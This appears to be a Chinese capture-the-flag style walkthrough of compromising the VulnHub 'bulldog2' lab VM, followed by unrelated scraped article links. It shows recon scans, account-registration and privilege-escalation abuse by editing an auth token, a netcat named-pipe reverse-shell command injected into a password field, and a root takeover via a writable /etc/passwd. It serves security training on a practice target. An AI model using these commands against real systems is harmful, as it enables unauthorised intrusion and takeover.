kali渗透综合靶机(三)--bulldog2靶机

靶机地址:https://download.vulnhub.com/bulldog/Bulldog2.ova

一、主机发现

1.netdiscover -i eth0 -r 192.168.10.0/24

  

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.10.155

  

三、端口服务识别

1.nmap -sV -T4 -O 192.168.10.155

  

四、漏洞查找与利用

1.浏览器访问http://192.168.10.155,发现发现登录界面,尝试目录扫描,没发现有用信息

  

2.查看主页,发现我们在查看页面的时候可以看到,页面上有个注册功能,但是点击报错。

  

3.查看js文件,根据js的定义,我们可以使用post提交新账户信息来完成注册

  

4.抓包,构造数据包,然后post数据包,修改注册成功

  

5.用注册的账户登录,成功登陆

6.再次注册几个账号

  

7.测试是否存在逻辑漏洞

登录kkk观察网页特点,发现url中路径结尾和用户名一样,测试是否存在越权漏洞,在不登出kkk用户的前题下,把url修改位别的用户名,下图可以看到成功登录别的用户界面,说明存在水平越权漏洞

  

8.测试是否存在未授权访问漏洞

在另一个浏览器,访问http://192.168.10.155/profile/sss,没有经过身份验证直接进入sss账户的管理界面

  

9.登录kkk用户,发现页面没什么,没有什么可以利用的,重新登录,抓包分析,靶机返回一个奇怪的token

  

10.分析token,可以看到一个可疑的参数:”auth_level”,使用这个参数去刚刚保存的js文件中收索看看

  

11.可以看到master_admin_user疑似管理员,尝试用它替换掉standard_user

在burp拦截响应数据包,修改响应数据包,然后转发

  

  

12.此时再看kkk账户已经变成管理员,说明存在垂直越权漏洞

  

13.点击管理员

  

14.输入用户名密码,抓包,然后在修改密码处添加反弹shell,在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了

反弹shell命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 1234 >/tmp/f;

  

15.在攻击端查看  

  

16.查看所有可写的文件

find / -writable -type f 2>/dev/null |grep -v "/proc/"

  

17. passwd文件可以写,直接写入一条用户记录

先生成一个带有盐值的密码

  

然后写入passwd文件,成功写入

  

18.当前不是终端,无法切换账户,需要新打开一个终端,然后切换账户成功,获得管理员权限

python -c 'import pty;pty.spawn("/bin/bash")'

  

总结:

1.信息收集

2.水平越权

3.垂直越权

4.未授权访问

5.任意账户注册

6.命令执行  

  

kali渗透综合靶机(三)--bulldog2靶机的更多相关文章

  1. kali渗透综合靶机(一)--Lazysysadmin靶机

    kali渗透综合靶机(一)--Lazysysadmin靶机 Lazysysadmin靶机百度云下载链接:https://pan.baidu.com/s/1pTg38wf3oWQlKNUaT-s7qQ提 ...

  2. kali渗透综合靶机(十八)--FourAndSix2靶机

    kali渗透综合靶机(十八)--FourAndSix2靶机 靶机下载地址:https://download.vulnhub.com/fourandsix/FourAndSix2.ova 一.主机发现 ...

  3. kali渗透综合靶机(十七)--HackInOS靶机

    kali渗透综合靶机(十七)--HackInOS靶机 靶机下载地址:https://www.vulnhub.com/hackinos/HackInOS.ova 一.主机发现 1.netdiscover ...

  4. kali渗透综合靶机(十六)--evilscience靶机

    kali渗透综合靶机(十六)--evilscience靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --ra ...

  5. kali渗透综合靶机(十五)--Breach-1.0靶机

    kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...

  6. kali渗透综合靶机(十四)--g0rmint靶机

    kali渗透综合靶机(十四)--g0rmint靶机 靶机下载地址:https://www.vulnhub.com/entry/g0rmint-1,214/ 一.主机发现 1.netdiscover - ...

  7. kali渗透综合靶机(十三)--Dina 1.0靶机

    kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...

  8. kali渗透综合靶机(十二)--SickOs1.2靶机

    kali渗透综合靶机(十二)--SickOs1.2靶机 靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/ 一.主机发现 1.netdiscover ...

  9. kali渗透综合靶机(十一)--BSides-Vancouver靶机

    kali渗透综合靶机(十一)--BSides-Vancouver靶机 靶机下载地址:https://pan.baidu.com/s/1s2ajnWHNVS_NZfnAjGpEvw 一.主机发现 1.n ...

随机推荐

  1. java.lang.ClassNotFoundException: XXX (no security manager: RMI class loader disabled)

    在搞RMI远程发布,consumer去获取rmi远程服务的代理对象的时候出现了如下的错误 问题发现: 由于我发布的对象的包路径和获取的对象的包路径不一致,导致了这样的问题 解决方案: 包路径改为一致就 ...

  2. SpringBoot(16)—@ConditionalOnBean与@ConditionalOnClass

    @ConditionalOnBean与@ConditionalOnClass 上一篇讲的@Conditional可以通过条件控制是否注入Bean,这篇讲下有关Bean其它几个常用的注解使用方式 @Co ...

  3. python基础(7):基本数据类型二(list、tuple)、range

    1. 列表 1.1 列表的介绍 列表是python的基础数据类型之⼀,其他编程语⾔也有类似的数据类型.比如JS中的数组, java中的数组等等.它是以[ ]括起来,每个元素⽤','隔开⽽且可以存放各种 ...

  4. MySQL学习——操作视图

    MySQL学习——操作视图 摘要:本文主要学习了使用DDL语句操作视图的方法. 了解视图 是什么 视图是从一个.多个表或者视图中导出的表,包含一系列带有名称的数据列和若干条数据行. 特点 视图不是数据 ...

  5. C#WinForm解决跨线程访问控件属性报错

    方式一(在程序初始化构造函数中加一行代码): public Form1() { InitializeComponent(); Control.CheckForIllegalCrossThreadCal ...

  6. JS基础语法---练习:交换两个变量的值

    * JavaScript简称为JS * JavaScript是什么?     * 是一门脚本语言:不需要编译,直接运行     * 是一门解释性的语言:遇到一样代码就解释一行代码     * C#语言 ...

  7. AI反欺诈:千亿的蓝海,烫手的山芋|甲子光年

    不久前,一家业界领先的机器学习公司告诉「甲子光年」:常有客户带着迫切的反欺诈需求主动找来,但是,我们不敢接. 难点何在? 作者|晕倒羊 编辑|甲小姐 设计|孙佳栋 生死欺诈 企业越急速发展,越容易产生 ...

  8. 微信小程序json与xml互相转换

    1.首先在目录结构中引入必要的js文件 https://files.cnblogs.com/files/qianyou304/x2j.rar 2.js中代码如下:(部分)json 2 xml var ...

  9. MySQL基础之数据管理【3】

    MySQL中的多表联查 --查询emp的id username age depName create table emp( id int unsigned auto_increment key, us ...

  10. 原生js利用data选择元素

    //js var a = document.querySelector('[data-word=a]') console.log(a) html <dl class="find-car ...